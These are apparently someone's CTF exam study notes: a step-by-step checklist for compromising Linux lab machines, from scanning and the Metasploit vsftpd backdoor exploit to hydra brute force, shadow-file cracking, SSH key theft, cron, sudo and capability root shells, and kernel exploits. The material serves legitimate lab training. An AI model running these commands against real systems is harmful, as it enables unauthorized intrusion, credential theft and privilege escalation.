Table of Contents
Linux Machine — CTF Methodology (Your Notes)
VPN + Target Discovery
sudo openvpn --config [Link]
ip a
ping <target-ip>
Confirm tun0 is up before anything else.
If only a subnet is given (no specific IP):
netdiscover -r [Link]/24
If that gives nothing, fall back to a ping sweep:
nmap -sn [Link]/24
This only pings — it tells you which IPs are actually responding, without doing a full port
scan yet.
Initial Recon
nmap -sCV -p- <target-ip>
or
nmap -A <target-ip>
Enumeration
If port 80 (web) is open: - Put it in the browser, check /[Link]
If port 21 (FTP) is open:
ftp <target-ip>
Username: anonymous, Password: anonymous or blank.
If the FTP version is refused/vulnerable, check for the vulnerability using searchsploit or
the Metasploit console.
Metasploit exploitation path (your vsftpd example):
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
This uses a default payload and opens an exploit/shell automatically.
set RHOST <target-ip>
set LHOST <your-vpn-ip>
set RPORT <targeted-port> (default is usually fine)
Then run or exploit.
SSH enumeration:
search ssh-enum
(check for known SSH vulnerabilities matching the version banner)
Once You Get a Shell (Enumeration Basics)
pwd
cd /home
uname -a
ls
getuid
sysinfo
Search for the user flag around here.
cat /proc/version
cat /etc/issue
System architecture: ls /cpu (or lscpu) — services currently running: ps aux
ps aux | grep root
Shows which processes are running AS root — useful to spot exploitable root-owned
services.
whoami
sudo -l
sudo -l shows commands you can run with no password as root.
cat /etc/passwd
Lists all current users in the system.
cat /etc/shadow
cat /etc/group
Network info:
ifconfig
arp -a
Password Finding
Method 1 — SSH private key:
cd .ssh
ls
If id_rsa is present:
cat id_rsa
(Save it to the same filename on your own machine)
chmod 600 id_rsa
ssh -i id_rsa username@<target-ip>
Method 2 — Cracking the shadow file:
ls -la /etc/shadow
Normally /etc/shadow (password hashes) is NOT readable by normal users, only root —
if you CAN read it, that’s already a misconfiguration worth noting.
cp /etc/passwd [Link]
cp /etc/shadow [Link]
unshadow [Link] [Link] > [Link]
unshadow combines both files into the single format John/Hashcat expect.
hashcat -m 1800 [Link] /usr/share/wordlists/[Link]
-m 1800 is hashcat’s mode number for the sha512crypt hash type (identify the correct
mode number first based on the hash format shown in /etc/shadow — $6$ = sha512crypt
= mode 1800; $1$ = MD5crypt = mode 500; etc.). This gives you the password.
Other Ways of Privilege Escalation
1. Cronjob / Crontab
cat /etc/crontab
cat /etc/cron.d/*
Check what permissions are set up on any scripts that root’s cron jobs call.
If a script called by a root cron job is writable by you:
echo 'cp /bin/bash /tmp/bash; chmod +x /tmp/bash' >
/usr/local/bin/[Link]
chmod +x [Link]
Wait for the cron job to run, then check:
ls -la /tmp
If the bash file is now present:
/tmp/bash -p
-p preserves privileges when bash is run (needed since the copied binary would otherwise
drop privileges by default). Confirm with whoami → should show root.
2. Sudo Misconfigurations
sudo -l
Shows which commands you’re allowed to run as root without a password — cross-check
every result against GTFOBins.
Example (vim allowed via sudo):
sudo vim -c ':!/bin/sh'
Other common GTFOBins-style examples to memorize (in case you can’t access
GTFOBins during the exam):
sudo find . -exec /bin/sh \; -quit
sudo less /etc/passwd
then type !/bin/sh inside it.
sudo nmap --interactive
then type !sh (older nmap versions only).
sudo python3 -c 'import os; [Link]("/bin/sh")'
When GTFOBins doesn’t have an entry for the binary at all — check if the binary can be
used for its EXTENDED functionality instead (see #3 below).
3. Extended Functionalities (when GTFOBins comes up empty)
Example: apache2 allowed via sudo, but no GTFOBins entry for basic privesc. Google:
“apache2 sudo linux exploit” — apache2 (and similar daemons) often support a -f flag to
specify a config file — this can sometimes be abused to view arbitrary system files:
sudo apache2 -f /etc/shadow
The general principle: if GTFOBins has nothing, look up the specific binary’s own
command-line flags/man page for anything that reads/writes/executes files, since sudo
access to ANY such flag can potentially be abused the same way.
Kernel Exploitation (Last Resort)
uname -a
Note the exact kernel version (e.g., Linux debian 2.6.32).
Search: “linux kernel exploit” (e.g., search exploit-db for known local privesc bugs
matching that kernel — Dirty COW is a common one for older kernels).
gcc -pthread exploit.c -o exploit
ls
./exploit
-pthread links the pthread library (some kernel exploits require multi-threading). If
successful, this drops you into a root shell directly.
Reminder: try this LAST — kernel exploits can crash the machine, and in a timed exam
that’s a risk you don’t want to take before checking sudo/SUID/cron first.
When There’s a Web App on a “Linux Machine” Target (SSH Has No Creds)
If SSH is open but you have no username/password for it, don’t ignore port 80 — go
through the website instead:
gobuster dir -u [Link] -w <wordlist>
Look for a hidden page, an upload form, or a file upload feature. Once found, check for:
- SQL injection on any login/search field - Path traversal on any ?page=/?file=
parameter
Sometimes the SSH password/private key is sitting directly on the website (in an upload
directory, a config file, a hidden page) — that’s the whole point of the web app being there.
SMB Enumeration (if port 445 is open)
smbclient -L \\<target-ip>\ -N
-L lists shares, -N = no password (null session attempt). After finding share names:
smbclient \\<target-ip>\<sharename> -N
Once You Have a Username (from SMB, web app, or a file)
ssh username@<target-ip>
If you have a username but no password:
hydra -l <username> -P /usr/share/wordlists/[Link] ssh://<target-
ip>
Root Flag — Final Privesc Checklist
find / -perm -4000 -type f 2>/dev/null
-type f restricts results to files only (not directories) — SUID binaries.
sudo -l
getcap -r / 2>/dev/null
If GTFOBins has no entry for whatever binary shows up here, it’s likely non-exploitable —
don’t force it, move on.
If the output shows python3 with a capability like cap_setuid+ep:
python3 -c 'import os; [Link](0); [Link]("/bin/bash")'
→ root.
Finding the root flag once you have root:
find / -iname "*flag*" 2>/dev/null
(or search by whatever exact filename the challenge specifies)
cat /root/rootflag
Also just manually browse if find is slow:
ls -la /root/